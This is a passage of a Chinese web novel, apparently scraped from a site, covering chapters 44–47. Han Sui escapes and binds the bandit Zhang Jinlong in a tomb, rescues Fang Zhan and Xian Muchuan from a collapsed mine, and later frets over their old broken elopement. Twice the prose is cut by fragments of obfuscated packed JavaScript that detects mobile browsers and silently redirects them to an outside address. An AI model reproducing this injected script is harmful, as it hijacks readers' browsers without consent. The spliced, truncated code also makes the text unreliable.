这二人一通鸡同鸭讲,居然最后达成了一致。 接下来,三人却陷入了沉默。昌乐抓耳挠腮,冼牧川长吁短叹,只有方湛想到将才进入洞室时那阵迎面而来的阴风。 他起身,走到通往洞室的狭道口,顿觉一股凉风拂面,风力虽不及之前明显,但确未消失。 得益于从小长于紫金山上、自幼满山嬉耍,方湛对山地穴洞了如指掌,深知洞中的风绝非凭空出现。 眼下洞口已被堵死,可流动的风仍在,说明对面那几个黑魆魆的孔洞中必有连通外界的。 方湛快步过去,借灯火逐一仔细观察几个洞壁石块质地,最终选定了一个,对跟在身后不明所以的二人道:“就它了,走吧。” “我说明渊兄,会不会有点草率啊,”冼牧川满腹狐疑,“我看你怎么跟菜市场挑瓜似的选了这条道,靠不靠谱?” “你若觉得不靠谱,可以留在原地。”方湛云淡风轻,转身入洞。 唯一的光源渐行渐远,冼牧川这才跳脚追上去:“等等我,等等我!信你就是了,反正本公子也不是第一次把全部身价性命都交给你了!” 44. 矿洞惊魂(二) 西斜的日头挂在山巅,幽幽冷光似被即将赴来的黑暗一点点稀释打散。 将暗未暗的天色中,被爆炸巨响惊起的山鸟,慌乱地在榆水坡上空盘旋四散。 不知过了多久,察觉并无危险的鸟儿复栖林间,一切重归寂静,只有寒冷山风时不时呼啸而过,卷积起坟冢上的枯草薄土,直刮往远处的茫茫草荡之中。 又高又密的枯草在疾风中晃动,忽然左右一分,从中间走出个人来。 此人身形魁硕、其貌不扬,腰间别把宽刀,背上绑有包袱。他甚是戒备地四下观察,确认无人后,这才大摇大摆地走出草荡。 “呸!”他神情狠戾地朝身后啐了一口,“总算把这几个烦人的玩意儿除掉了,细皮嫩肉的,还想跟我张爷爷斗?” 骂人的正是万顺镖局的镖头张金龙。 过去几日,他一直躲在灵岩寺中等官府里头那位给自己送信儿,左等右等,他想要的东西没等到,反而等来了铺天盖地的通缉令。 他岂能坐以待毙,想直接冒险进城找那官府老儿问个清楚,谁知还未行动,就得知那个千方百计查自己的白面御史出现在灵岩寺中。 派去打探的手下只是个幌子,实则他一直暗中窥探,悄悄跟踪方湛等人到榆水坡,发现手下被抓后,一时恶向胆边生,借助废弃矿洞中的炸药设下杀人陷阱。 而那位在草中解手的倒霉蛋公子,刚好成了他第一个猎物,偷袭砍晕后扔进废弃的矿洞中,成了“请君入瓮”的诱饵。 而后的一切顺利如张金龙所料,一等目标入洞,他就引燃炸药,甭管是姓方的姓圆的,就算不被炸成四散的碎片,也会被坍塌的巨石砸成肉泥。 此刻大仇已报,心情美妙。张金龙钻出野草荡,大模大样地走向石窟,打算取走藏在此处的要紧东西后逃之夭夭。 天色晦暗,冷风呼号,石窟前却有火把跃燃。 他定睛一瞧,举火把的是个姑娘。方才暗中观察时他就留意到这女子,看穿着断定是个丫鬟,此时细细瞧来,只觉身形窈窕,颇有姿色。 张金龙本就是个酒色不离身的,在灵岩寺躲了这些时日早就心痒难耐,再加上刚除掉心头大患,难免松懈,一时色心大起。 “小娘子,荒郊野岭,怎么就独你一人呀?” 这阴森森的一句话,把站在窟外一心救人的韩穗差点吓破胆。 她方才心思全部都在盘算如何入洞救人,不曾察觉附近有人,一回首,旦见一个粗鄙彪悍的男子正不怀好意地靠近自己,禁不住倒退几步,强作镇定喝道:“你是谁?你想干嘛?” “我是谁?”张金龙发出阴鸷□□,“我是谁不重要,重要的是我能救你疼你。刚才那声爆炸你可听见了?可惜你主子已被老子的炸药炸成碎片了!我看你孤苦伶仃,不如跟了我,我带你去江南,保管你穿金戴银……” 话还未说完,他就急不可耐地猛扑上前。 “等一下!”听完这番话,韩穗早已回悟过来,眼前人就是掳走冼牧川又追杀郭大牛的张金龙! 现下方湛等人生死未卜,华叔去搬救兵亦不知何时才能来,在这荒无人烟的地方,只能靠她自己了。 “别着急嘛,”她装作娇弱害怕,指了指对方腰间的宽刀,软软道,“这刀看着又吓人又硌人,把它解下来,放得远远的,成吗?” “怎么不成?只要小娘子愿意,说什么我都听!” 见韩穗一副乖巧模样,张金龙满以为就要得手了,心花怒放地将刀扔到地上,殊不知他俯身的那一刹,眼前姑娘就卯足了劲儿,跟兔子似的朝后跑去。 发现自己被耍弄后,张金龙恼羞成怒、兽性大发,从包袱里掏出长绳,饿狼扑食般朝着猎物追去。 很快韩穗便意识到,自己哪里能跑得过常年习武之人,情急之下,调转方向,往桑树林间那片坟地跑去。 此时天已转暗,她只觉身后那个活人比这坟地所有的死人还要可怕万分。她躲在一处石冢后,听着那比鬼魂索命还可怖的脚步声四处搜寻自己。 脚步越来越近,那人满嘴的污言秽语似乎就回响在自己脑袋上方。 千钧一发之际,她的手忽然摸到一空处,低头一看,竟是身后的坟冢有个破洞! 也不知这洞是盗墓者还是什么动物所掏,大小刚好容一人通过,韩穗管不了那三七二十一,心下一横,趴到地上,迅速钻了进去。 然而这动静还是暴露了自己。 不等韩穗看清这坟里什么情况,就见洞口处惊悚地出现了那张面目可憎的脸。 “臭娘们儿还挺能藏,我看你还能往哪里跑,劝你乖乖从了老子,老子动起粗来没你好果子吃!” 韩穗紧紧蜷缩往后,尽力躲避着对方伸进来乱抓的一只手。 到手的猎物近在眼前却又够不着,张金龙又急又怒,冲动之下也想钻进去,不料那洞口过小,而他躯体粗壮,一下子被死死地卡住,进也不行退也不行。 许是天无绝人之路,亦或是韩家祖上显灵,韩穗惊慌之中冷不防脚下踩空,跌入一个窟窿之中。 原来,这墓穴曾被人盗过,盗墓者为将东西运出去,又挖了一个通往地上的斜坑,韩穗正好手脚并用,沿坑道爬回了地面。 来不及喘息,她起身就要跑,却听到身后传来奇怪的闷叫声,略一犹豫回头,只见那狂徒正奋力挣扎,无奈双臂刚好被卡在身体两侧,直挺挺地动弹不得,使不上力。 一味躲藏不是办法,只要他脱了身,自己又得变成案板上的鱼肉。 韩穗当机立断,捡起掉落在一侧的麻绳,摁住张金龙的双腿,死死绑住。为防止他轻易脱身,又拖来两截被雷劈断的粗树枝,交叉成“十”字,将人连腿带手全部绑到十字架上。 做完这些后,韩穗忽然没了惧怕与慌乱,听着张金龙闷在坟冢里的骂声渐渐弱下去,淡定地拍了拍手上泥土,用袖子拭去额前汗珠,转身朝洞窟坚定走去。 她重燃火把,走进洞窟,翻越那被推开一半的石墙,进入漆黑的甬道之中。 甬道果然通往后殿窟,只是窟室尚未完工,雕凿了一半的宝相旁又是一个洞口。 韩穗借火光探了探,里头大概一人高、两人宽,想来这就是郭大牛所说通往后山矿洞的暗道了。 矿洞爆炸,虽未波及与之连接的佛窟,但毕竟山体刚经历坍塌,进去救人亦被掩埋的风险也不是没有。 可转念一想,她随父外任南方时,曾经历过山体滑坡后的抢险救人,知晓灾难过后,越快搜救,遇险之人生还的可能性就越大。 末了,她闭了闭眼,将最后一丝犹豫摁下去,深吸一口气,默念道:“姓方的,四年前本姑娘欠你的,今日可就算还了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237918|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她将手伸进挎包,掰下一小块烧饼,一路扔下饼屑做记号,一路大胆往前走去。 —— “明渊兄,不是我质疑你啊,刚才好几个岔道呢,你是依何凭据选定这条路的,我怎么感觉越走越不对劲呢?”冼牧川听着洞中幽诡的声响,紧紧贴在方湛身后,不安问道。 “首先,”方湛斜了眼冼牧川把住自己肩膀的手,“你能不能离我稍微远点儿?” 后者闻言讪讪放手,他这才言归正传:“洞中有风,说明某处定有风口,反风向而上,大概率就能找到出口。而我们走的这条洞道,是风声最为明显的。” “原来这瘆人的动静是风声啊!早说嘛!”冼牧川如临大敌的紧张一下子卸除。 “还有,”方湛提灯靠近洞壁,“你看,此处石质坚硬,总体呈青灰色,若细观还能发现夹带银闪的乌色.….” “这我知道,”冼牧川抢道,“银含量不高的矿石嘛,别处不多见,但在这个矿洞里到处都是。” “说得没错,别处并不多见,”方湛回想道,“可它却出现在榆水坡石窟内,还被人用来砌堵甬道。” 佛窟开凿大多选址黄色砂岩,榆水坡石窟亦不例外,因此甬道间那一块块垒上去的青灰石块被火光照亮后格外显眼,对此方湛记忆犹新。 冼牧川却不以为然:“听起来是有点不符合常理,但跟我们找出口有何关系?” “入洞寻你之前,我特别留意过,”方湛边走边道,“这处矿洞的位置,刚好与榆水坡石窟一峰之隔。” “那它俩岂不就是‘背对背’……”冼牧川的嘴渐渐张成圆弧,双眼瞪得好似他在上京养的那只雪犬:“我懂了!你的意思是说,这矿洞分明就是跟石窟连通的,而那些堵甬道的石头,是被人从这里搬过去的?” 方湛唇角一牵:“不容易,云莱兄终于肯舍得用用脑子了。” 冼牧川这脑子不动则己,一开动就刹不住了:“刚才你挨个洞地转,不仅是在听风声,还在看谁更接近石窟里那些石头的质地,是也不是?” 方湛点头。 “这下妥了,”冼牧川定心道,“就凭你我双珠合璧,今日定能找到出口,脱离困境!” 话音刚落,身前洞道忽然变宽,三人举灯环视,只见原来的一条道又岔出三个不大不小的洞来。 “不是吧,怎么还有岔道?” 冼牧川的信心来得容易,受打击得也容易,他瞅了眼方湛手中明灭不定的油灯,带着哭腔泄气道:“什么鬼地方啊,岔道接着岔道,这样下去,我看不等咱们找到对的路,灯也灭了,人也没了……唔……” “噓,别出声!”方湛突然用手捂住那张哇哩哇啦乱嚷的嘴,神情机警地静听起什么。 而昌乐更是脸色惨白地凑近二人,颤声道:“大人,我、我刚才好像听到有人在喊我的名字……不、不会是洞里有蛇妖吧?” 深山老林的洞里生活着人面蛇身的妖精,若喊你的名字你万不可应,否则半夜就会被蛇妖撕咬下肚。 这种老嬷嬷喜欢讲的故事,冼牧川也听过,他战战兢兢地看向那黑黢黢的三个洞窟窿,生怕下个被盯上的就是他。 然而,对方似乎是读透了他的心思,不知过了多久,从遥远的洞道深处传来一个幽幽女声: “冼——牧——川——” 45. 矿洞惊魂(三) 被“盯上”的却不止冼牧川,紧接着,那幽幽女声将他们三人的名字轮流叫了个遍。 听着听着,冼牧川竟觉着那声音有点耳熟,而身边的方湛早已大声回应起来:“韩穗,是你吗?” 对方似乎愣了一瞬,随后传来的声音带着明显的欣喜:“是我!你们都还好吗?” “我们都平安无事,刚才矿洞爆炸,你没受伤吧?” “我没事!” “喂喂,”冼牧川拦截道,“你俩搁这儿寒暄上了?说正事儿啊,她咋进来的,咱们咋出去啊?” “你们原地别动,等我带你们出去!”韩穗方才虽在喊话,却不曾停下脚步,焦急地朝他们声音传来的方向找去。 脚下乱石横出,她既要小心避开那些尖锐的、松动的落石,又想三步并作两步,等瞧见岔口处那盏摇曳虚弱的油灯时,已是出了一身冷汗。 两方相见,自是一番激动,但话不宜多说,先逃命要紧。有赖韩穗来时撒下的饼屑做记号,几人顺利脱困,迅速走出那要命的山洞。 此时外头已近天黑,靛蓝色穹幕低垂,与密林婆娑黑影相接,凛冽寒风骤起,刮得人脸上生疼。 然而劫后重生的喜悦能抵万千,冼牧川激动地攥住韩穗胳膊:“韩姑娘,你就是我冼七郎的救命恩人,从今往后,我冼某唯韩姑娘马首是瞻!” 要不是方湛及时又嫌弃地将他的手掰开,瞧他那架势就要当场跪地了。 不过重获自由的冼牧川并不计较这些,他大口呼吸着新鲜空气,慷慨激昂:“大难不死,必有后福!” 方湛则不动声色地将韩穗虚拢至身边,前前后后仔仔细细问了一遍她是如何找到他们的,虽对其以身犯险的行为极为不满,但又不舍得说重话,确认她毫发无伤后,将人交给冼牧川,急匆匆就要走。 后者不解问道:“你去哪儿,不跟我们一起回城吗?” 方湛步履不停,头也不回:“你们先回,我今日必须捉拿张金龙,现在追应该还来得及。” “别走,”韩穗开口拦道,“我倒是捉了一个人,你且跟我去看看,那人是不是你想抓的张金龙。” 众人只觉她说的话每个字都清晰明白,但连起来着实匪夷所思。 她徒手抓了一个人,且那人是万顺镖局的总镖头张金龙? 然而更诡异的在后头,韩穗引一众人走进了那片阴森坟场! 昌乐与冼牧川战战兢兢跟在后头,俩人互相搂抱着壮胆,瞧着走在最前头的纤挑身影,直怀疑救了他们的究竟是人是鬼。 “就在那儿。”韩穗停步,不自觉退至方湛身后,伸手指向前面一处半人高的石冢。 方湛快步过去,果然在石冢后发现了被绑得奇奇怪怪却又结结实实的半个人身。 那人的头和肩都卡在坟冢内,听到有人来了,呜呜地发出含混不清的惨叫,可怜躯体早已被束缚得一动都不能动。 三个男人合力才将那倒霉玩意儿从洞中拖出来,方湛将人推翻过去,拿过火把一照,那张脸除了沾上些干土与枯草,不是张金龙又是谁! “就是他,就是他偷袭的我!”冼牧川一见仇人,分外眼红,一脚狠踢向那狂徒的脆弱之处,登时山间就回荡起哀嚎惨叫。 方湛却更关心韩穗当时究竟遭遇了什么,他紧紧抓住她的双肩,焦急的情绪一时失控竟变成了质问:“你如何会遇到他?他对你做什么了!” “我……”正当韩穗不知如何回答之际,目光刚好瞥见密林外一片跃动的火光。 那片火光正朝这边快速涌动,昌乐一眼认出打头之人:“是裘校尉!” 紧随裘明之后小跑的正是玄英卫,而先前去灵岩寺搬救兵的华叔亦在队中,除他们几人外,身后还跟着二十几个手持长棍与火把的武僧! 方湛刚想前去应接裘明,身前女子忽然一软,朝后倒去。 —— 花香馥郁,莺啼婉转。 韩穗置身玫瑰花海之中,只觉春意暖暖,使人缱绻依恋。她瞧着那花鲜妍可爱,心道:“何不摘些回去,叫榆娘做成南玫瑰蜜酱点心?” 可她又留意到,这花园有篱笆围着,大概是有主人的,怎好擅自采摘?不过此事倒也不难,找到那主人,开口要些,想来如此大的园子,对方定会慷慨赠予。 于是她沿幽径回廊往有亭阁轩榭的地方走去,左拐右转,不知不觉间来到一扇雕花门前。 那门开着,里面传出女子说笑的声音。韩穗进屋,只见珠帘后西次间炕上果真对坐着两个妇人。 见她来了,二人似乎并不惊讶。其中正对她的年轻貌美妇人,很是瞧着眼熟,起身热情道:“阿粲,你可算来了,我一直想给你一样儿东西,总见不着你!” 说着,年轻妇人从身后掏出一个长画匣。这时背对韩穗的妇人倏地起身,一把夺过画匣,回身对她呵斥道:“快出去,这里不是你该来的地方!” “母亲?”韩穗盯着那张熟悉的面孔,不敢置信,“母亲好年轻,真漂亮啊!” “走吧走吧,快跟你父亲回京去!”母亲置若罔闻,毫不留情地将她推出门外,“砰”地一声关上了门。 春光忽作冬寒。 一个男声不满嚷道:“能不能关好门,进了冷风把咱们的救命恩人冻着了咋办?” 门外人歉声连连:“小的错了,七爷,下次一定仔细!” 扑在面上的那阵冷冽逐渐被一股浓郁的玫瑰暖香吞噬。 太阳穴处的鼓涨感一点点将混沌意识挤出脑海,韩穗掀了掀眼帘,只见一双桃花美目正担忧地盯看着自己。 “韩姑娘醒了!”冼牧川大喜。 紧接着,守在一旁的华叔腾挪上前,紧张发问:“小姐可觉得哪里不舒服?” 韩穗只觉头痛,但比起这点不适,她更在意自己目前身在何处。 许是察觉到她环视四周,冼牧川殷勤解释道:“这是我的马车,宽敞舒适,平稳减震,非常适合韩姑娘眼下虚弱的状况。软垫引枕挪用的可都是上好的锦裘……” 冼牧川的话她只听进去一半,一低头,霍然发现盖在自己身上的,竟是方湛今日所穿的外氅。 她下意识要扯开那外氅,却又被华叔重新盖 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韩穗见他沉浸在自己的意淫中不可自拔,没兴趣继续听他的臆想,耳边却捕捉到从车外传来马蹄杂沓、兵甲轻击的清晰声响。 她忍不住推开一条窗缝,往外探看。 夜幕已至,火影幢幢。 披甲执锐的士兵分列两侧,铁衣兵器在火把的映照下泛着寒光。统兵的那人韩穗认得,正是前些日雪夜安排护卫队送她回家的沈参领。 而与之交谈的男子,此刻虽背对而立,但她仍能一眼认出那肃肃如松的挺拔身影。 冼牧川见她看得出神,也凑过去,比量了半天,确认她视线中的人是方湛后,撇了撇嘴:“别看那个人了,你救了他,还靠自己擒住了满城悬赏捉拿的人犯,本是立大功的,结果呢,姓方的把这些功劳全部安在裘校尉头上了。他这种男人呢,就是这样,眼中只有利弊。” 与冼牧川的打抱不平相比,华叔却有更深远的理解:“小姐别误会,实则都是方大人的一片苦心,大人为了小姐的名声着想,想着本是女中豪杰的传奇,就怕被居心叵测的人乱传闲话,传歪了岂不是有损姑娘家清誉!” “无妨。”韩穗毫不在意地笑了笑,另二人却听不出她说的“无妨”是指立功还是清誉。 “不说这些了,”冼牧川忽然想起更有趣的事来,鬼鬼祟祟的探问,“哎,你的小字可是叫阿粲?” 韩穗身子蓦然一僵,随即紧盯对方双眼,戒备质问:“没错,可本姑娘的闺名,你如何会知晓?” “哟,那可不光我知晓了,”冼牧川看热闹不嫌事儿大,“你晕倒时,明渊兄喊你这个名字那叫一个撕心裂肺,声音大得响彻山间,在场有一个算一个,都知道你叫阿粲了。” “可以了,别说了。”韩穗双颊发热,恨不得给他嘴上安排个把门的。 冼牧川却越念叨这个名越觉得似曾相识,可无论如何也想不起到底在哪里听过。 脑汁绞尽,记忆底层模模糊糊似要浮现出什么,忽然一股冷风袭面,思绪陡然被推门而入的方湛打断。 46. 一笔勾销 方湛一进来,饶是车厢宽敞,也顿显局促。 冼牧川倒是乖觉,一副不耐烦的口气道:“你可算来了,照顾恩人的事也不能光我做啊,赶紧换你,本公子去另一辆马车上清闲清闲!” 言次,他连华叔也不由分说地给带走了。 车门处的毡帘掀了又落,挂于四角的琉璃风灯随着车身微微晃动,烛火摇曳,投在灯下人身上,影影绰绰。 乍然没了冼牧川的聒噪,这充满玫瑰熏香的四方空间安静到有些旖旎暧昧。 韩穗不自然地坐正身子,悄悄推开覆在身上的男子外氅。可下一刻,那散发着暗幽雪后松香的外衣又被严严实实地盖了回来。 她抬首,冷不防撞上青年那双点漆睛目。 “你为何不听我的话,与华叔一同离开?” 方湛质问的语气不自觉带出些上位者的威压,使得韩穗下意识别开视线,好似做了什么亏心事。 可转念一想,他的质问才毫无道理呢,于是又理直气壮地对视回去:“明知故问,咱们几人一同出行,中途有人出事了,我若非但见死不救,还为自保偷偷溜回去,那还对得起读的那些仁义道德之书么?” “仁义道德?与你相比,仁义道德又算什么,也值得拿自己去涉险!” 青年的声音因激动而略带颤抖,一贯的冷静自持被关心则乱的冲动击得溃散。 来灵岩寺的路上,他已从旁人那里七拼八凑地弄明白,自己去寻人的这段时间里,韩穗都经历了些什么。 万幸她不曾受到什么实质性伤害,一颗心总算能放平些,可回想起来难免后怕万分,倘使她今日的运气再差一点,后果将万劫不复。 出城前的担忧终究还是成真了。 过往独身一人,机关算尽遭些反噬也能硬抗,可自从在云州与她重逢,自以为是的运筹帷幄竟将她一次又一次地置于危险之中。 强烈的愧疚与自责之感不受控地涌出,而这种真切的情绪,他好像许久未曾有过了。 眸底暗涌的波澜终是静息下去,看着韩穗似被自己狠厉语气吓懵的神情,他不自觉软了语气,垂下眼帘问道:“僧医不便给你检查身体,你自己觉得如何,身上可有哪里受伤?” 被这么一问,韩穗忽然觉出左小腿处有丝丝隐痛,可她并不想告诉眼前人,于是抿嘴摇头。 方湛却像能看穿她心思似的,提起搁在角几上的灯盏,在她面前半跪下去:“伸左腿,给我看看你的旧伤。” 这突如其来的动作将韩穗吓一跳,她惶急地往后缩着腿,但仍逃不过被一只有力的大手捉住脚腕,动也动不得,只好任由对方小心翼翼卷起衬裤,将小腿上一道蜿蜒伤口现于灯光的暖晕之下。 那夜惊马落下的伤口将将愈合,结痂处却因为在榆水坡前的缠斗出现些许撕裂,渗出殷殷血迹,在光洁的小腿上触目惊心。 方湛遽然皱眉,连带出口的声音变得暗哑:“自己拎住裤脚,我帮你上药。” 冼牧川的马车内物什一应俱全,方湛也不是第一次乘他的车,轻车熟路地找到小药箱,取出一瓶生肌止血的药粉和棉纱布。 “我自己来就成!”韩穗一想到可能会跟这位仁兄发生肢体接触,就如同一只遇水炸毛的猫,抢着表示自己双手还健在。 “你负责提灯照明。”青年对她的请求充耳不闻,拖过一只矮凳,示意她将腿搁在上头,自己则半跪在侧,俯身处理伤口。 刚包扎好伤处,车外便传来沈参领禀报声,称已整队完毕,向方湛请示是否即刻出发回城。 方湛暂且从眼前人身上收回视线,有条不紊地收好药箱,坐到车门旁,侧首朝外问了几句。 光影之中,青年眉目清俊,轮廓肃朗,说话时喉间凸起上下轻滚,鬼使神差地叫韩穗移不开目光。 直到一记响亮的扬鞭声传来,车身在辘辘声中晃动,她这才意识到自己的失神,慌忙移开视线。 只这一瞬,胸间似有一簇星火着落,心脏翕跳,却猛然想起在榆水坡石窟前,冼牧川说的那些话。 “别说你了,就连才貌冠绝京华的平阳郡主,都想方设法通过我制造与明渊兄的偶遇,只为能与他说上两句话。还有那些尚书啊侯爷啊,家中有待嫁女的,一下了朝就把他围起来,宴席雅集邀约不断呐……” 繁杂念头登时被一瓢冷水浇灭。 “喂,”韩穗冷硬开口,心底某处却微微酸胀,“这次我对你也算舍命相救了,还帮你活捉了命案要犯,如此,四年前你我之间的事就可一笔勾销了吧?” 方湛坐回到她身侧,往一个精巧掐丝手炉内装将灭未灭的碎碳,闻言眉尖一挑:“一笔勾销,何意?” “就当作四年前你我之间从未发生过任何事,我没有做错什么,你也不曾做错什么,互不相欠,相安无事,从今往后以同窗之谊平心而处,如何?” 方湛面无表情,慢条斯理地将一个石绿蜀锦棉罩套在手炉上,随后塞进韩穗手中。 眼看着她将手炉捧好,这才掀抬眼帘,淡然却又斩钉截铁地说了句:“可惜在我这里,从来没有一笔勾销之说。” —— 夜色已深,细雪如银。 韩家大门内,有两人一坐一站,神色皆是等人的焦灼,但心境却又各有不同。 韩立煜自下值归家得知女儿去西山仍未回来,衣裳都没心思换,干脆搬了把椅子在门口坐等,眼看日头一寸寸西沉下去,一颗心亦七上八下,忍不住胡思乱想是不是出什么意外了。 而先秀的心却是暗暗雀跃,她无比信任那位英朗的方大人会护好姑娘的周全,这么晚还不回家,想来是要玩个尽兴而归。 是以当门外胡同传来车行之声时,二人俱是疾步冲出,朝打头的韩家马车迎上前去。 然而从车上下来的却是冼牧川,他振袖理衣,慢条斯理地指了指后头那辆马车。 二人循看过去,只见一只手正掀开门帘,立刻有卫兵举火把上前照明,火光将寒夜的暗影灼退一角,映出一张秀朗如玉的男子面孔。 紧随其后下车的,自然是韩穗。 她绕过方湛伸出虚扶的手,默然一揖,径自朝家门走去。 先秀举起提前备好的披袄追随在后,韩立煜亦想上前关切询问,却被方湛拦下要求借一步说话。 方湛要跟父亲说什么,韩穗毫无兴趣。夜风刺骨,她却浑然不觉似的,拒绝先秀为自己披衣,一口气穿过庭院,回到自己的房间。 回屋后第一件事就是除衣沐浴,第二件事则是叫先秀将她今日穿的那套衣裳给扔了——毕竟穿着钻过墓穴,最好扔得远远的再也不要看见。 由于旧伤有裂口,不好碰水,韩穗便让先秀帮自己擦身洗发。待她脱下中衣,露出小腿处包扎的纱布,先秀不由惊呼起来:“怎么渗血了,明明伤口都结痂快好了!” 她担忧地看着韩穗苍白的脸色,小心问道:“姑娘今日去西山可是发生什么事了?” 韩穗长叹了口气,心道这一天发生的事可太多了。然而当她试图桩桩件件地回忆时,却只能想起方湛在车中说的那句——“可惜在我这里,从没有一笔勾销之说”。 他这话是什么意思? 既说他二人之间不能一笔勾销,言外之意就是要跟她清算到底咯? 难不成,她当年在私奔前夜的毁约变卦伤害到了他? 不应该吧,那晚他也是空手而去,可没有半点要远走高飞的行囊准备。 再者,她彼时不懂,如今也已明了,他是亲王之侄、显贵之后,从一开始就隐瞒身份,本心应该只是跟自己玩玩而已,根本未动真格,面对她的背弃,又何来受伤一说? 如此看来,只有一个解释——他小肚鸡肠,他爱记仇。 对,绝对就是这个原因。 明明是天之骄子、凤章龙姿,却在一介平平无奇的小官吏之女身上受了挫,定然咽不下这口气。而多年后重逢,又撞见她将他当年所赠玉佩随手赔给他人抵钱,这份得罪可谓雪上加霜。 今日她又是救命又是抓凶手,恁大的功劳,他都不同意一笔勾销,可见自己被记恨的程度之深。 “姑娘,姑娘?”先秀见她出神,忍不住晃她的胳膊。 韩穗收回思绪,无精打采道:“今日之事说来话长,回头再说与你听,先帮我盥洗更衣,待会儿我有事要去见父亲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩穗忍不住插嘴问:“可父亲早就不是云州府的人了,当初只是因为接替您的官员迟迟不到,而叶阳县又突发民乱,您拗不过黄知府的同窗情面,再加上上京那头逼得紧,这才答应留下来帮忙而已,没道理被卷入眼下的巡察之中。” “但当初叶阳县的民乱案我也确实经手了,不好推卸责任,更何况黄知府已经为此事找过方大人了,他并不同意啊。”韩立煜无奈道。 “真是的,”韩穗忍不住嘀咕,“亏他的叔父还是您的挚友,就不会看在淮山先生的面子上网开一面么。” “他身负皇命,又是御史钦差,岂能徇私,不好叫他为难。” “父亲总是这样,只会为别人着想。” 韩立煜摆摆手:“不说那些,总之,我想去信叫你兄长来接你,算时间,上京那边也该放年假了,让他早些休沐来接你回京过年吧。” “我不同意,”韩穗果断道,“品兰的事还没个着落,我不能走。” “放心,还有我呢,郭家父女是你的救命恩人,为父岂会坐视不管?” 韩穗却摇头:“终归不一样,因他们的帮助而捡回一条命的人是我,恩情自然也得由我亲自还才对。” “你啊,”韩立煜叹道,“跟你哥哥一样倔,一样的认死理儿。” 韩穗不以为然:“我和他同父同母,您说我俩又是像谁?” 韩立煜无奈地笑了。 从父亲的住处出来,韩穗一面走一面默默盘算。 自刘百盛横死已过去了五六日,先前被留置在府衙的刘家众人经过几轮审问,也都于前日放走了,唯独品兰还在扣押中。 虽然她很不想承认,但导致品兰至今仍被收监且无法状告刘家离门的原因,很可能就是她! 她定是把方湛得罪狠了,方湛便在旁的事上给她找不痛快。 一想到这儿,脚下步履骤然一停,韩穗差点给自己个一巴掌——亏得她这几日与姓方的说话时明里暗里地还嘴斗气! 她是怼爽了,焉知对方会不会将怒气转移到她明显很在乎的品兰身上! 一朵雪绒无意间飘落至脖颈间,她忍不住打了个寒战,连忙紧了紧衣领,,提步继续沿着回廊往后院走去。 待她回到房间,卸下披风,坐在火盆前恢复了双手的温度,一个万全的主意也就想定了。 只是这个“万全”,是需要她委屈求全的“全”——她有十分笃定,自从在云州重逢,方湛心中对自己便一直有气,而这股怨气只能由她去平息,才能将被覆盖在他权力阴影之下的品兰与父亲解救出来。 47. 失踪(一) 翌日一早,韩穗醒得并不算晚,然而前院已经有三位大夫在排队候着了。 其中陆大夫她是相熟的,是父亲一早派人请来为她看伤诊脉的。另外两位也各自报上来意,一位是冼少监找来的,另一位则自称受方姓公子委托。 韩穗只留下陆大夫,扶着脑门将另两位好言劝走,一回身,却见先秀一脸想入非非,忍不住抬手给她一个栗暴:“别想些有的没的,昨日我救了那两位的命,他们找个大夫来瞧我不是应该的么。” 先秀吐了吐舌头,揉着脑门走开了。 看诊过后,韩穗便开始思索昨晚她想的那个“求全”大计。 眼下张金龙业已就范,有玄英卫的手段在,其招供伏法也就是今明两日的事。按照方湛此前的口风,只要刘百盛命案破解、抓获凶手,他自会将品兰放出,并为其离门一事主持公道。 只是这种说法不可全信,他若有心利用品兰报复自己,大可再找个什么借口理由拖延下去,到时候岂非被动? 所以在此之前,她必须快刀斩乱麻,不妨直接面见方湛,为当年弃他另嫁一事服软道歉,再把自己嫁入白家后的不幸极力渲染,最好能当场泪决,哭诉自己后悔莫及、有眼不识泰山云云。 总之,面对那种天之骄子,只要把对方捧得高入云霄,再将自己贬入尘埃,总能让他消解部分怨气,不再拿品兰作筏子。 而她不过是低个头装个样,划得来。 至于这“请罪”的时机…… 正琢磨着,忽见先秀匆匆进来,着急道:“姑娘昨日出城背的挎包呢,可有带回来?方才去处理姑娘换下来的衣裳,并未找见呢。” 韩穗一愣:“我回来的时候……糟了,我大概是把挎包落在冼少监的马车上了!” 先秀闻言便要让通山去府衙找人要包,却被韩穗拦住,她想了想道:“还是我去吧,那冼少监排场太大,我怕通山去了连人都见不着。” 由于心系挎包中差点搭上性命换来的榆水坡石窟记录,韩穗随便吃了些粥作早饭,便叫华叔驾车送她去府衙。 府衙角门的皂隶认得她,忙引她入内,韩穗却道:“我就不往里去了,劳烦小兄弟帮我给冼少监身边的昌乐带个话,就说我的挎包落在冼家马车上了,让他帮我找一下。” 皂隶应声离去,她便站到一处游廊上等待。不多时,只见那皂隶跟在一翩翩公子身后而来,而那位公子正是冼牧川本人。 “韩姑娘,你怎么来了不去找我?身体可恢复好了,我给你请的大夫今日去你家了没?”冼牧川疾步走来,兴冲冲发出一连串问,近前看了一圈韩穗,又道:“瞧你精神还不错,我请你去听戏如何?” 韩穗看他兴高采烈的模样,心道方湛此前对其评价倒不作假。去西山之前,他面对自己哪次不是鼻孔朝天、有意为难,而自从认定她是救命恩人后,那架势恨不得要拜把子,果真是什么心思都往脸上挂。 “我身体无碍,谢冼公子挂怀。”韩穗客套几句,又说明来意。 “原是为这个,”冼牧川眨了眨眼,“姑娘的挎包早被明渊兄收起来了,你直接去找他要就是。走,我给你带路。” 韩穗着实未曾料想到事情会有如此走向,但又架不住冼牧川堪比纠缠的再三相邀,只好随他朝方湛下榻兼日常理事的馆舍走去。 然而方湛此刻并不在馆舍之中,侍奉的差役对二人称,方大人自昨夜押解人犯回来后就一直在狱中审问,到现在都未出来。 “那岂不是一晚上都没睡?”冼牧川顿时睁大眼睛,随即又了然自语道:“倒是他的风格。” 